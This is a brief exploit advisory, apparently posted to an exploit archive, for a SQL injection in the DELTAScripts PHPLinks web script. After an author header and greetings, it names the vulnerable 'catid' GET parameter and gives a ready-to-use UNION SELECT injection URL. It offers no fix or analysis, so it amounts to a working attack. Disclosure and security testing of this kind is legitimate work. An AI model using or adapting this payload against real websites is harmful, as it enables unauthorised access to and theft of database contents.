DELTAScripts PHPLinks - 'catid' SQL Injection

/*

Name : DELTAScripts PHPLinks
Vuln : SQL Injection

Author : Hamza 'MizoZ' N.
Email : mizozx[at]gmail[dot]com
WebSite : www.greymen.org<http://www.greymen.org/>

Greetz : Zuka, all friends & arab hackers

*/

Vulnerability is in the $_GET['catid']

http://server/[PATH]/index.php?catid=8+union+all+select+1,2,3,4,5,6--